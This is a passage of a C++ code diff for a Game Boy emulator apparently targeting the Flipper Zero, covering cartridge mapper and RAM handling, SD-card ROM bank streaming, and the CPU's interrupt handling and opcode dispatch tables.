if(idx >= ram_size) idx %= ram_size;
return ram[idx];
}
void Cartridge::write_ram(u16 addr, u8 value) {
if(!ram || !ram_enabled) return;
if(mbc == MBCType::MBC2) {
ram[(addr - 0xA000) & 0x1FF] = value & 0x0F;
return;
}
if(mbc == MBCType::MBC3 && ram_bank > 0x03) return; /* RTC regs */
u32 idx = static_cast<u32>(addr - 0xA000) + static_cast<u32>(ram_bank & 0x0F) * 0x2000;
if(idx >= ram_size) idx %= ram_size;
ram[idx] = value;
}
auto Cartridge::parse_mbc(u8 t) -> MBCType {
switch(t) {
case 0x00:
case 0x08:
case 0x09:
return MBCType::None;
case 0x01:
case 0x02:
case 0x03:
return MBCType::MBC1;
case 0x05:
case 0x06:
return MBCType::MBC2;
case 0x0F:
case 0x10:
case 0x11:
case 0x12:
case 0x13:
return MBCType::MBC3;
case 0x19:
case 0x1A:
case 0x1B:
case 0x1C:
case 0x1D:
case 0x1E:
return MBCType::MBC5;
default:
return MBCType::Unsupported;
}
}
auto Cartridge::has_battery(u8 t) -> bool {
switch(t) {
case 0x03: /* MBC1+RAM+BATTERY */
case 0x06: /* MBC2+BATTERY */
case 0x09: /* ROM+RAM+BATTERY */
case 0x0F: /* MBC3+TIMER+BATTERY */
case 0x10: /* MBC3+TIMER+RAM+BATTERY */
case 0x13: /* MBC3+RAM+BATTERY */
case 0x1B: /* MBC5+RAM+BATTERY */
case 0x1E: /* MBC5+RUMBLE+RAM+BATTERY */
return true;
default:
return false;
}
}
auto Cartridge::rom_bank_count_from_header(u8 rom_size_byte) -> uint {
/* 0x00 = 32KB (2 banks), each step doubles */
if(rom_size_byte <= 0x08) return 2u << rom_size_byte;
return 2;
}
auto Cartridge::ram_size_from_header(u8 ram_size_byte, MBCType mbc) -> u32 {
if(mbc == MBCType::MBC2) return 512; /* built-in, not in header */
switch(ram_size_byte) {
case 0x00:
return 0;
case 0x01:
return 0x800; /* 2 KB */
case 0x02:
return 0x2000; /* 8 KB */
case 0x03:
return 0x8000; /* 32 KB */
case 0x04:
return 0x20000; /* 128 KB */
case 0x05:
return 0x10000; /* 64 KB */
default:
return 0;
}
}
@@ -0,0 +1,80 @@
#pragma once
#include "definitions.h"
/* Cartridge with pluggable ROM bank provider.
*
* Instead of holding the whole ROM in RAM (impossible on Flipper Zero for
* anything above 32 KB), the cartridge asks the platform for a pointer to a
* 16 KB bank whenever the game switches banks. On the desktop test build the
* provider just returns `rom + bank * 0x4000`; on the Flipper it is backed
* by an LRU cache streaming from the SD card.
*
* Supported mappers: ROM only, MBC1 (incl. upper bits / mode select),
* MBC2 (built-in 512x4 RAM), MBC3 (no RTC), MBC5.
*/
using RomBankProvider = const u8* (*)(void* ctx, uint bank);
enum class MBCType : u8 {
None,
MBC1,
MBC2,
MBC3,
MBC5,
Unsupported,
};
class Cartridge {
public:
/* bank0 must stay valid for the lifetime of the cartridge */
void init(
const u8* bank0_data,
uint rom_bank_count,
MBCType mbc_type,
u8* cart_ram,
u32 cart_ram_size,
RomBankProvider provider,
void* provider_ctx);
auto read(u16 addr) const -> u8 {
if(addr < 0x4000) return bank0[addr];
if(addr < 0x8000) return bankN[addr - 0x4000];
/* 0xA000 - 0xBFFF: cartridge RAM */
return read_ram(addr);
}
void write(u16 addr, u8 value);
auto get_ram() -> u8* { return ram; }
auto get_ram_size() const -> u32 { return ram_size; }
/* Header helpers (operate on the first bank) */
static auto parse_mbc(u8 cartridge_type_byte) -> MBCType;
static auto has_battery(u8 cartridge_type_byte) -> bool;
static auto rom_bank_count_from_header(u8 rom_size_byte) -> uint;
static auto ram_size_from_header(u8 ram_size_byte, MBCType mbc) -> u32;
private:
auto read_ram(u16 addr) const -> u8;
void write_ram(u16 addr, u8 value);
void update_rom_bank();
const u8* bank0 = nullptr;
const u8* bankN = nullptr;
u8* ram = nullptr;
u32 ram_size = 0;
RomBankProvider provider = nullptr;
void* provider_ctx = nullptr;
MBCType mbc = MBCType::None;
uint bank_count = 2;
bool ram_enabled = false;
bool advanced_banking_mode = false; /* MBC1 mode 1 */
uint bank_low = 1; /* MBC1: 5 bits, MBC3: 7 bits, MBC5: 8 bits */
uint bank_high = 0; /* MBC1: 2 bits, MBC5: 9th bit */
uint ram_bank = 0;
};
+225
View File
@@ -0,0 +1,225 @@
#include "cpu.h"
#include "gameboy.h"
#include "opcode_cycles.h"
#include "bitwise.h"
using bitwise::compose_bytes;
CPU::CPU(Gameboy& inGb) :
gb(inGb),
af(a, f, 0xF0),
bc(b, c),
de(d, e),
hl(h, l)
{
}
void CPU::init_post_boot() {
af.set(0x01B0);
bc.set(0x0013);
de.set(0x00D8);
hl.set(0x014D);
sp.set(0xFFFE);
pc.set(0x0100);
interrupt_flag.set(0xE1);
interrupt_enabled.set(0x00);
interrupts_enabled = false;
halted = false;
}
auto CPU::tick() -> Cycles {
handle_interrupts();
/* Halted: batch 4 M-cycles per iteration. Games spend most of every
* frame in HALT waiting for vblank; stepping 1 cycle at a time made
* the idle part of the frame as expensive to emulate as the busy part.
* Interrupt recognition is delayed by at most 3 M-cycles (12 T-cycles),
* well within what real hardware tolerates. */
if (halted) { return 4; }
u16 opcode_pc = pc.value();
auto opcode = get_byte_from_pc();
auto cycles = execute_opcode(opcode, opcode_pc);
return cycles;
}
auto CPU::execute_opcode(const u8 opcode, u16 opcode_pc) -> Cycles {
branch_taken = false;
if (opcode == 0xCB) {
u8 cb_opcode = get_byte_from_pc();
return execute_cb_opcode(cb_opcode, opcode_pc);
}
return execute_normal_opcode(opcode, opcode_pc);
}
void CPU::handle_interrupts() {
u8 fired_interrupts = interrupt_flag.value() & interrupt_enabled.value();
if (!fired_interrupts) { return; }
if (halted && fired_interrupts != 0x0) {
// TODO: Handle halt bug
halted = false;
}
if (!interrupts_enabled) {
return;
}
stack_push(pc);
bool handled_interrupt = false;
handled_interrupt = handle_interrupt(0, interrupts::vblank, fired_interrupts);
if (handled_interrupt) { return; }
handled_interrupt = handle_interrupt(1, interrupts::lcdc_status, fired_interrupts);
if (handled_interrupt) { return; }
handled_interrupt = handle_interrupt(2, interrupts::timer, fired_interrupts);
if (handled_interrupt) { return; }
handled_interrupt = handle_interrupt(3, interrupts::serial, fired_interrupts);
if (handled_interrupt) { return; }
handled_interrupt = handle_interrupt(4, interrupts::joypad, fired_interrupts);
if (handled_interrupt) { return; }
}
auto CPU::handle_interrupt(u8 interrupt_bit, u16 interrupt_vector, u8 fired_interrupts) -> bool {
using bitwise::check_bit;
if (!check_bit(fired_interrupts, interrupt_bit)) { return false; }
interrupt_flag.set_bit_to(interrupt_bit, false);
pc.set(interrupt_vector);
interrupts_enabled = false;
return true;
}
auto CPU::get_byte_from_pc() -> u8 {
u8 byte = gb.mmu.read(Address(pc));
pc.increment();
return byte;
}
auto CPU::get_signed_byte_from_pc() -> s8 {
u8 byte = get_byte_from_pc();
return static_cast<s8>(byte);
}
auto CPU::get_word_from_pc() -> u16 {
u8 low_byte = get_byte_from_pc();
u8 high_byte = get_byte_from_pc();
return compose_bytes(high_byte, low_byte);
}
void CPU::set_flag_zero(bool set) { f.set_flag_zero(set); }
void CPU::set_flag_subtract(bool set) { f.set_flag_subtract(set); }
void CPU::set_flag_half_carry(bool set) { f.set_flag_half_carry(set); }
void CPU::set_flag_carry(bool set) { f.set_flag_carry(set); }
auto CPU::is_condition(Condition condition) -> bool {
bool should_branch = false;
switch (condition) {
case Condition::C:
should_branch = f.flag_carry();
break;
case Condition::NC:
should_branch = !f.flag_carry();
break;
case Condition::Z:
should_branch = f.flag_zero();
break;
case Condition::NZ:
should_branch = !f.flag_zero();
break;
}
/* If the branch is taken, remember so that the correct processor cycles
* can be used */
branch_taken = should_branch;
return should_branch;
}
template <typename T>
void CPU::stack_push(const T& reg) {
sp.decrement();
gb.mmu.write(Address(sp), reg.high());
sp.decrement();
gb.mmu.write(Address(sp), reg.low());
}
template <typename T>
void CPU::stack_pop(T& reg) {
u8 low_byte = gb.mmu.read(Address(sp));
sp.increment();
u8 high_byte = gb.mmu.read(Address(sp));
sp.increment();
u16 value = compose_bytes(high_byte, low_byte);
reg.set(value);
}
template void CPU::stack_push<WordRegister>(const WordRegister&);
template void CPU::stack_push<RegisterPair>(const RegisterPair&);
template void CPU::stack_pop<WordRegister>(WordRegister&);
template void CPU::stack_pop<RegisterPair>(RegisterPair&);
/* clang-format off */
auto CPU::execute_normal_opcode(const u8 opcode, u16 opcode_pc) -> Cycles {
(void)opcode_pc;
switch (opcode) {
case 0x00: opcode_00(); break; case 0x01: opcode_01(); break; case 0x02: opcode_02(); break; case 0x03: opcode_03(); break; case 0x04: opcode_04(); break; case 0x05: opcode_05(); break; case 0x06: opcode_06(); break; case 0x07: opcode_07(); break; case 0x08: opcode_08(); break; case 0x09: opcode_09(); break; case 0x0A: opcode_0A(); break; case 0x0B: opcode_0B(); break; case 0x0C: opcode_0C(); break; case 0x0D: opcode_0D(); break; case 0x0E: opcode_0E(); break; case 0x0F: opcode_0F(); break;
case 0x10: opcode_10(); break; case 0x11: opcode_11(); break; case 0x12: opcode_12(); break; case 0x13: opcode_13(); break; case 0x14: opcode_14(); break; case 0x15: opcode_15(); break; case 0x16: opcode_16(); break; case 0x17: opcode_17(); break; case 0x18: opcode_18(); break; case 0x19: opcode_19(); break; case 0x1A: opcode_1A(); break; case 0x1B: opcode_1B(); break; case 0x1C: opcode_1C(); break; case 0x1D: opcode_1D(); break; case 0x1E: opcode_1E(); break; case 0x1F: opcode_1F(); break;
case 0x20: opcode_20(); break; case 0x21: opcode_21(); break; case 0x22: opcode_22(); break; case 0x23: opcode_23(); break; case 0x24: opcode_24(); break; case 0x25: opcode_25(); break; case 0x26: opcode_26(); break; case 0x27: opcode_27(); break; case 0x28: opcode_28(); break; case 0x29: opcode_29(); break; case 0x2A: opcode_2A(); break; case 0x2B: opcode_2B(); break; case 0x2C: opcode_2C(); break; case 0x2D: opcode_2D(); break; case 0x2E: opcode_2E(); break; case 0x2F: opcode_2F(); break;
case 0x30: opcode_30(); break; case 0x31: opcode_31(); break; case 0x32: opcode_32(); break; case 0x33: opcode_33(); break; case 0x34: opcode_34(); break; case 0x35: opcode_35(); break; case 0x36: opcode_36(); break; case 0x37: opcode_37(); break; case 0x38: opcode_38(); break; case 0x39: opcode_39(); break; case 0x3A: opcode_3A(); break; case 0x3B: opcode_3B(); break; case 0x3C: opcode_3C(); break; case 0x3D: opcode_3D(); break; case 0x3E: opcode_3E(); break; case 0x3F: opcode_3F(); break;
case 0x40: opcode_40(); break; case 0x41: opcode_41(); break; case 0x42: opcode_42(); break; case 0x43: opcode_43(); break; case 0x44: opcode_44(); break; case 0x45: opcode_45(); break; case 0x46: opcode_46(); break; case 0x47: opcode_47(); break; case 0x48: opcode_48(); break; case 0x49: opcode_49(); break; case 0x4A: opcode_4A(); break; case 0x4B: opcode_4B(); break; case 0x4C: opcode_4C(); break; case 0x4D: opcode_4D(); break; case 0x4E: opcode_4E(); break; case 0x4F: opcode_4F(); break;
case 0x50: opcode_50(); break; case 0x51: opcode_51(); break; case 0x52: opcode_52(); break; case 0x53: opcode_53(); break; case 0x54: opcode_54(); break; case 0x55: opcode_55(); break; case 0x56: opcode_56(); break; case 0x57: opcode_57(); break; case 0x58: opcode_58(); break; case 0x59: opcode_59(); break; case 0x5A: opcode_5A(); break; case 0x5B: opcode_5B(); break; case 0x5C: opcode_5C(); break; case 0x5D: opcode_5D(); break; case 0x5E: opcode_5E(); break; case 0x5F: opcode_5F(); break;
case 0x60: opcode_60(); break; case 0x61: opcode_61(); break; case 0x62: opcode_62(); break; case 0x63: opcode_63(); break; case 0x64: opcode_64(); break; case 0x65: opcode_65(); break; case 0x66: opcode_66(); break; case 0x67: opcode_67(); break; case 0x68: opcode_68(); break; case 0x69: opcode_69(); break; case 0x6A: opcode_6A(); break; case 0x6B: opcode_6B(); break; case 0x6C: opcode_6C(); break; case 0x6D: opcode_6D(); break; case 0x6E: opcode_6E(); break; case 0x6F: opcode_6F(); break;
case 0x70: opcode_70(); break; case 0x71: opcode_71(); break; case 0x72: opcode_72(); break; case 0x73: opcode_73(); break; case 0x74: opcode_74(); break; case 0x75: opcode_75(); break; case 0x76: opcode_76(); break; case 0x77: opcode_77(); break; case 0x78: opcode_78(); break; case 0x79: opcode_79(); break; case 0x7A: opcode_7A(); break; case 0x7B: opcode_7B(); break; case 0x7C: opcode_7C(); break; case 0x7D: opcode_7D(); break; case 0x7E: opcode_7E(); break; case 0x7F: opcode_7F(); break;
case 0x80: opcode_80(); break; case 0x81: opcode_81(); break; case 0x82: opcode_82(); break; case 0x83: opcode_83(); break; case 0x84: opcode_84(); break; case 0x85: opcode_85(); break; case 0x86: opcode_86(); break; case 0x87: opcode_87(); break; case 0x88: opcode_88(); break; case 0x89: opcode_89(); break; case 0x8A: opcode_8A(); break; case 0x8B: opcode_8B(); break; case 0x8C: opcode_8C(); break; case 0x8D: opcode_8D(); break; case 0x8E: opcode_8E(); break; case 0x8F: opcode_8F(); break;
case 0x90: opcode_90(); break; case 0x91: opcode_91(); break; case 0x92: opcode_92(); break; case 0x93: opcode_93(); break; case 0x94: opcode_94(); break; case 0x95: opcode_95(); break; case 0x96: opcode_96(); break; case 0x97: opcode_97(); break; case 0x98: opcode_98(); break; case 0x99: opcode_99(); break; case 0x9A: opcode_9A(); break; case 0x9B: opcode_9B(); break; case 0x9C: opcode_9C(); break; case 0x9D: opcode_9D(); break; case 0x9E: opcode_9E(); break; case 0x9F: opcode_9F(); break;
case 0xA0: opcode_A0(); break; case 0xA1: opcode_A1(); break; case 0xA2: opcode_A2(); break; case 0xA3: opcode_A3(); break; case 0xA4: opcode_A4(); break; case 0xA5: opcode_A5(); break; case 0xA6: opcode_A6(); break; case 0xA7: opcode_A7(); break; case 0xA8: opcode_A8(); break; case 0xA9: opcode_A9(); break; case 0xAA: opcode_AA(); break; case 0xAB: opcode_AB(); break; case 0xAC: opcode_AC(); break; case 0xAD: opcode_AD(); break; case 0xAE: opcode_AE(); break; case 0xAF: opcode_AF(); break;
case 0xB0: opcode_B0(); break; case 0xB1: opcode_B1(); break; case 0xB2: opcode_B2(); break; case 0xB3: opcode_B3(); break; case 0xB4: opcode_B4(); break; case 0xB5: opcode_B5(); break; case 0xB6: opcode_B6(); break; case 0xB7: opcode_B7(); break; case 0xB8: opcode_B8(); break; case 0xB9: opcode_B9(); break; case 0xBA: opcode_BA(); break; case 0xBB: opcode_BB(); break; case 0xBC: opcode_BC(); break; case 0xBD: opcode_BD(); break; case 0xBE: opcode_BE(); break; case 0xBF: opcode_BF(); break;
case 0xC0: opcode_C0(); break; case 0xC1: opcode_C1(); break; case 0xC2: opcode_C2(); break; case 0xC3: opcode_C3(); break; case 0xC4: opcode_C4(); break; case 0xC5: opcode_C5(); break; case 0xC6: opcode_C6(); break; case 0xC7: opcode_C7(); break; case 0xC8: opcode_C8(); break; case 0xC9: opcode_C9(); break; case 0xCA: opcode_CA(); break; case 0xCB: opcode_CB(); break; case 0xCC: opcode_CC(); break; case 0xCD: opcode_CD(); break; case 0xCE: opcode_CE(); break; case 0xCF: opcode_CF(); break;
case 0xD0: opcode_D0(); break; case 0xD1: opcode_D1(); break; case 0xD2: opcode_D2(); break; case 0xD3: opcode_D3(); break; case 0xD4: opcode_D4(); break; case 0xD5: opcode_D5(); break; case 0xD6: opcode_D6(); break; case 0xD7: opcode_D7(); break; case 0xD8: opcode_D8(); break; case 0xD9: opcode_D9(); break; case 0xDA: opcode_DA(); break; case 0xDB: opcode_DB(); break; case 0xDC: opcode_DC(); break; case 0xDD: opcode_DD(); break; case 0xDE: opcode_DE(); break; case 0xDF: opcode_DF(); break;
case 0xE0: opcode_E0(); break; case 0xE1: opcode_E1(); break; case 0xE2: opcode_E2(); break; case 0xE3: opcode_E3(); break; case 0xE4: opcode_E4(); break; case 0xE5: opcode_E5(); break; case 0xE6: opcode_E6(); break; case 0xE7: opcode_E7(); break; case 0xE8: opcode_E8(); break; case 0xE9: opcode_E9(); break; case 0xEA: opcode_EA(); break; case 0xEB: opcode_EB(); break; case 0xEC: opcode_EC(); break; case 0xED: opcode_ED(); break; case 0xEE: opcode_EE(); break; case 0xEF: opcode_EF(); break;
case 0xF0: opcode_F0(); break; case 0xF1: opcode_F1(); break; case 0xF2: opcode_F2(); break; case 0xF3: opcode_F3(); break; case 0xF4: opcode_F4(); break; case 0xF5: opcode_F5(); break; case 0xF6: opcode_F6(); break; case 0xF7: opcode_F7(); break; case 0xF8: opcode_F8(); break; case 0xF9: opcode_F9(); break; case 0xFA: opcode_FA(); break; case 0xFB: opcode_FB(); break; case 0xFC: opcode_FC(); break; case 0xFD: opcode_FD(); break; case 0xFE: opcode_FE(); break; case 0xFF: opcode_FF(); break;
}
return !branch_taken
? opcode_cycles[opcode]
: opcode_cycles_branched[opcode];
}
auto CPU::execute_cb_opcode(const u8 opcode, u16 opcode_pc) -> Cycles {
(void)opcode_pc;
switch (opcode) {
case 0x00: opcode_CB_00(); break; case 0x01: opcode_CB_01(); break; case 0x02: opcode_CB_02(); break; case 0x03: opcode_CB_03(); break; case 0x04: opcode_CB_04(); break; case 0x05: opcode_CB_05(); break; case 0x06: opcode_CB_06(); break; case 0x07: opcode_CB_07(); break; case 0x08: opcode_CB_08(); break; case 0x09: opcode_CB_09(); break; case 0x0A: opcode_CB_0A(); break; case 0x0B: opcode_CB_0B(); break; case 0x0C: opcode_CB_0C(); break; case 0x0D: opcode_CB_0D(); break; case 0x0E: opcode_CB_0E(); break; case 0x0F: opcode_CB_0F(); break;
case 0x10: opcode_CB_10(); break; case 0x11: opcode_CB_11(); break; case 0x12: opcode_CB_12(); break; case 0x13: opcode_CB_13(); break; case 0x14: opcode_CB_14(); break; case 0x15: opcode_CB_15(); break; case 0x16: opcode_CB_16(); break; case 0x17: opcode_CB_17(); break; case 0x18: opcode_CB_18(); break; case 0x19: opcode_CB_19(); break; case 0x1A: opcode_CB_1A(); break; case 0x1B: opcode_CB_1B(); break; case 0x1C: opcode_CB_1C(); break; case 0x1D: opcode_CB_1D(); break; case 0x1E: opcode_CB_1E(); break; case 0x1F: opcode_CB_1F(); break;
case 0x20: opcode_CB_20(); break; case 0x21: opcode_CB_21(); break; case 0x22: opcode_CB_22(); break; case 0x23: opcode_CB_23(); break; case 0x24: opcode_CB_24(); break; case 0x25: opcode_CB_25(); break; case 0x26: opcode_CB_26(); break; case 0x27: opcode_CB_27(); break; case 0x28: opcode_CB_28(); break; case 0x29: opcode_CB_29(); break; case 0x2A: opcode_CB_2A(); break; case 0x2B: opcode_CB_2B(); break; case 0x2C: opcode_CB_2C(); break; case 0x2D: opcode_CB_2D(); break; case 0x2E: opcode_CB_2E(); break; case 0x2F: opcode_CB_2F(); break;
case 0x30: opcode_CB_30(); break; case 0x31: opcode_CB_31(); break; case 0x32: opcode_CB_32(); break; case 0x33: opcode_CB_33(); break; case 0x34: opcode_CB_34(); break; case 0x35: opcode_CB_35(); break; case 0x36: opcode_CB_36(); break; case 0x37: opcode_CB_37(); break; case 0x38: opcode_CB_38(); break; case 0x39: opcode_CB_39(); break; case 0x3A: opcode_CB_3A(); break; case 0x3B: opcode_CB_3B(); break; case 0x3C: opcode_CB_3C(); break; case 0x3D: opcode_CB_3D(); break; case 0x3E: opcode_CB_3E(); break; case 0x3F: opcode_CB_3F(); break;
case 0x40: opcode_CB_40(); break; case 0x41: opcode_CB_41(); break; case 0x42: opcode_CB_42(); break; case 0x43: opcode_CB_43(); break; case 0x44: opcode_CB_44(); break; case 0x45: opcode_CB_45(); break; case 0x46: opcode_CB_46(); break; case 0x47: opcode_CB_47(); break; case 0x48: opcode_CB_48(); break; case 0x49: opcode_CB_49(); break; case 0x4A: opcode_CB_4A(); break; case 0x4B: opcode_CB_4B(); break; case 0x4C: opcode_CB_4C(); break; case 0x4D: opcode_CB_4D(); break; case 0x4E: opcode_CB_4E(); break; case 0x4F: opcode_CB_4F(); break;
case 0x50: opcode_CB_50(); break; case 0x51: opcode_CB_51(); break; case 0x52: opcode_CB_52(); break; case 0x53: opcode_CB_53(); break; case 0x54: opcode_CB_54(); break; case 0x55: opcode_CB_55(); break; case 0x56: opcode_CB_56(); break; case 0x57: opcode_CB_57(); break; case 0x58: opcode_CB_58(); break; case 0x59: opcode_CB_59(); break; case 0x5A: opcode_CB_5A(); break; case 0x5B: opcode_CB_5B(); break; case 0x5C: opcode_CB_5C(); break; case 0x5D: opcode_CB_5D(); break; case 0x5E: opcode_CB_5E(); break; case 0x5F: opcode_CB_5F(); break;
case 0x60: opcode_CB_60(); break; case 0x61: opcode_CB_61(); break; case 0x62: opcode_CB_62(); break; case 0x63: opcode_CB_63(); break; case 0x64: opcode_CB_64(); break; case 0x65: opcode_CB_65(); break; case 0x66: opcode_CB_66(); break; case 0x67: opcode_CB_67(); break; case 0x68: opcode_CB_68(); break; case 0x69: opcode_CB_69(); break; case 0x6A: opcode_CB_6A(); break; case 0x6B: opcode_CB_6B(); break; case 0x6C: opcode_CB_6C(); break; case 0x6D: opcode_CB_6D(); break; case 0x6E: opcode_CB_6E(); break; case 0x6F: opcode_CB_6F(); break;
case 0x70: opcode_CB_70(); break; case 0x71: opcode_CB_71(); break; case 0x72: opcode_CB_72(); break; case 0x73: opcode_CB_73(); break; case 0x74: opcode_CB_74(); break; case 0x75: opcode_CB_75(); break; case 0x76: opcode_CB_76(); break; case 0x77: opcode_CB_77(); break; case 0x78: opcode_CB_78(); break; case 0x79: opcode_CB_79(); break; case 0x7A: opcode_CB_7A(); break; case 0x7B: opcode_CB_7B(); break; case 0x7C: opcode_CB_7C(); break; case 0x7D: opcode_CB_7D(); break; case 0x7E: opcode_CB_7E(); break; case 0x7F: opcode_CB_7F(); break;
case 0x80: opcode_CB_80(); break; case 0x81: opcode_CB_81(); break; case 0x82: opcode_CB_82(); break; case 0x83: opcode_CB_83(); break; case 0x84: opcode_CB_84(); break; case 0x85: opcode_CB_85(); break; case 0x86: opcode_CB_86(); break; case 0x87: opcode_CB_87(); break; case 0x88: opcode_CB_88(); break; case 0x89: opcode_CB_89(); break; case 0x8A: opcode_CB_8A(); break; case 0x8B: opcode_CB_8B(); break; case 0x8C: opcode_CB_8C(); break; case 0x8D: opcode_CB_8D(); break; case 0x8E: opcode_CB_8E(); break; case 0x8F: opcode_CB_8F(); break;
case 0x90: opcode_CB_90(); break; case 0x91: opcode_CB_91(); break; case 0x92: opcode_CB_92(); break; case 0x93: opcode_CB_93(); break; case 0x94: opcode_CB_94(); break; case 0x95: opcode_CB_95(); break; case 0x96: opcode_CB_96(); break; case 0x97: opcode_CB_97(); break; case 0x98: opcode_CB_98(); break; case 0x99: opcode_CB_99(); break; case 0x9A: opcode_CB_9A(); break; case 0x9B: opcode_CB_9B(); break; case 0x9C: opcode_CB_9C(); break; case 0x9D: opcode_CB_9D(); break; case 0x9E: opcode_CB_9E(); break; case 0x9F: opcode_CB_9F(); break;
case 0xA0: opcode_CB_A0(); break; case 0xA1: opcode_CB_A1(); break; case 0xA2: opcode_CB_A2(); break; case 0xA3: opcode_CB_A3(); break; case 0xA4: opcode_CB_A4(); break; case 0xA5: opcode_CB_A5(); break; case 0xA6: opcode_CB_A6(); break; case 0xA7: opcode_CB_A7(); break; case 0xA8: opcode_CB_A8(); break; case 0xA9: opcode_CB_A9(); break; case 0xAA: opcode_CB_AA(); break; case 0xAB: opcode_CB_AB(); break; case 0xAC: opcode_CB_AC(); break; case 0xAD: opcode_CB_AD(); break; case 0xAE: opcode_CB_AE(); break; case 0xAF: opcode_CB_AF(); break;
case 0xB0: opcode_CB_B0(); break; case 0xB1: opcode_CB_B1(); break; case 0xB2: opcode_CB_B2(); break; case 0xB3: opcode_CB_B3(); break; case 0xB4: opcode_CB_B4(); break; case 0xB5: opcode_CB_B5(); break; case 0xB6: opcode_CB_B6(); break; case 0xB7: opcode_CB_B7(); break; case 0xB8: opcode_CB_B8(); break; case 0xB9: opcode_CB_B9(); break; case 0xBA: opcode_CB_BA(); break; case 0xBB: opcode_CB_BB(); break; case 0xBC: opcode_CB_BC(); break; case 0xBD: opcode_CB_BD(); break; case 0xBE: opcode_CB_BE(); break; case 0xBF: opcode_CB_BF(); break;
case 0xC0: opcode_CB_C0(); break; case 0xC1: opcode_CB_C1(); break; case 0xC2: opcode_CB_C2(); break; case 0xC3: opcode_CB_C3(); break; case 0xC4: opcode_CB_C4(); break; case 0xC5: opcode_CB_C5(); break; case 0xC6: opcode_CB_C6(); break; case 0xC7: opcode_CB_C7(); break; case 0xC8: opcode_CB_C8(); break; case 0xC9: opcode_CB_C9(); break; case 0xCA: opcode_CB_CA(); break; case 0xCB: opcode_CB_CB(); break; case 0xCC: opcode_CB_CC(); break; case 0xCD: opcode_CB_CD(); break; case 0xCE: opcode_CB_CE(); break; case 0xCF: opcode_CB_CF(); break;
case 0xD0: opcode_CB_D0(); break; case 0xD1: opcode_CB_D1(); break; case 0xD2: opcode_CB_D2(); break; case 0xD3: opcode_CB_D3(); break; case 0xD4: opcode_CB_D4(); break; case 0xD5: opcode_CB_D5(); break; case 0xD6: opcode_CB_D6(); break; case 0xD7: opcode_CB_D7(); break; case 0xD8: opcode_CB_D8(); break; case 0xD9: opcode_CB_D9(); break; case 0xDA: opcode_CB_DA(); break; case 0xDB: opcode_CB_DB(); break; case 0xDC: opcode_CB_DC(); break; case 0xDD: opcode_CB_DD(); break; case 0xDE: opcode_CB_DE(); break; case 0xDF: opcode_CB_DF(); break;
case 0xE0: opcode_CB_E0(); break; case 0xE1: opcode_CB_E1(); break; case 0xE2: opcode_CB_E2(); break; case 0xE3: opcode_CB_E3(); break; case 0xE4: opcode_CB_E4(); break; case 0xE5: opcode_CB_E5(); break; case 0xE6: opcode_CB_E6(); break; case 0xE7: opcode_CB_E7(); break; case 0xE8: opcode_CB_E8(); break; case 0xE9: opcode_CB_E9(); break; case 0xEA: opcode_CB_EA(); break; case 0xEB: opcode_CB_EB(); break; case 0xEC: opcode_CB_EC(); break; case 0xED: opcode_CB_ED(); break; case 0xEE: opcode_CB_EE(); break; case 0xEF: opcode_CB_EF(); break;
case 0xF0: opcode_CB_F0(); break; case 0xF1: opcode_CB_F1(); break; case 0xF2: opcode_CB_F2(); break; case 0xF3: opcode_CB_F3(); break; case 0xF4: opcode_CB_F4(); break; case 0xF5: opcode_CB_F5(); break; case 0xF6: opcode_CB_F6(); break; case 0xF7: opcode_CB_F7(); break; case 0xF8: opcode_CB_F8(); break; case 0xF9: opcode_CB_F9(); break; case 0xFA: opcode_CB_FA(); break; case 0xFB: opcode_CB_FB(); break; case 0xFC: opcode_CB_FC(); break; case 0xFD: opcode_CB_FD(); break; case 0xFE: opcode_CB_FE(); break; case 0xFF: opcode_CB_FF(); break;
}
return opcode_cycles_cb[opcode];
}
+387
View File
@@ -0,0 +1,387 @@
#pragma once
#include "address.h"
#include "register.h"
#include "definitions.h"
class Gameboy;
enum class Condition {
NZ,
Z,
NC,
C,
};
namespace rst {
const u16 rst1 = 0x00;
const u16 rst2 = 0x08;
const u16 rst3 = 0x10;
const u16 rst4 = 0x18;
const u16 rst5 = 0x20;
const u16 rst6 = 0x28;
const u16 rst7 = 0x30;
const u16 rst8 = 0x38;
} // namespace rst
namespace interrupts {
const u16 vblank = 0x40;
const u16 lcdc_status = 0x48;
const u16 timer = 0x50;
const u16 serial = 0x58;
const u16 joypad = 0x60;
} // namespace interrupts
class CPU {
public:
CPU(Gameboy& inGb);
/* Initialise registers to the documented DMG post-boot state
* (the Nintendo boot ROM is not shipped nor emulated) */
void init_post_boot();
auto tick() -> Cycles;
auto execute_opcode(u8 opcode, u16 opcode_pc) -> Cycles;
auto execute_normal_opcode(u8 opcode, u16 opcode_pc) -> Cycles;
auto execute_cb_opcode(u8 opcode, u16 opcode_pc) -> Cycles;
ByteRegister interrupt_flag;
ByteRegister interrupt_enabled;
private:
void handle_interrupts();
auto handle_interrupt(u8 interrupt_bit, u16 interrupt_vector, u8 fired_interrupts) -> bool;
Gameboy& gb;
bool interrupts_enabled = false;
bool halted = false;
bool branch_taken = false;
/* Basic registers */
ByteRegister a, b, c, d, e, h, l;
/* 'Group' registers for operations which use two registers as a word */
RegisterPair af;
RegisterPair bc;
RegisterPair de;
RegisterPair hl;
/*
* Flags set dependant on the result of the last operation
* 0x80 - produced 0
* 0x40 - was a subtraction
* 0x20 - lower half of the byte overflowed 15
* 0x10 - overflowed 255 or underflowed 0 for additions/subtractions
*/
FlagRegister f;
void set_flag_zero(bool set);
void set_flag_subtract(bool set);
void set_flag_half_carry(bool set);
void set_flag_carry(bool set);
/* Note: Not const because this also sets the 'branch_taken' member
* variable if a branch is taken. This allows the correct cycle
* count to be used */
auto is_condition(Condition condition) -> bool;
/* Program counter */
WordRegister pc;
/* Stack pointer */
WordRegister sp;
auto get_byte_from_pc() -> u8;
auto get_signed_byte_from_pc() -> s8;
auto get_word_from_pc() -> u16;
template <typename T> void stack_push(const T& reg);
template <typename T> void stack_pop(T& reg);
/* Opcode Helper Functions */
/* ADC */
void _opcode_adc(u8 value);
void opcode_adc();
void opcode_adc(const ByteRegister& reg);
void opcode_adc(const Address&& addr);
/* ADD */
void _opcode_add(u8 reg, u8 value);
void opcode_add_a();
void opcode_add_a(const ByteRegister& reg);
void opcode_add_a(const Address& addr);
void _opcode_add_hl(u16 value);
void opcode_add_hl(const RegisterPair& reg_pair);
void opcode_add_hl(const WordRegister& word_reg);
void opcode_add_sp();
void opcode_add_signed();
/* AND */
void _opcode_and(u8 value);
void opcode_and();
void opcode_and(ByteRegister& reg);
void opcode_and(Address&& addr);
/* BIT */
void _opcode_bit(u8 bit, u8 value);
void opcode_bit(u8 bit, ByteRegister& reg);
void opcode_bit(u8 bit, Address&& addr);
/* CALL */
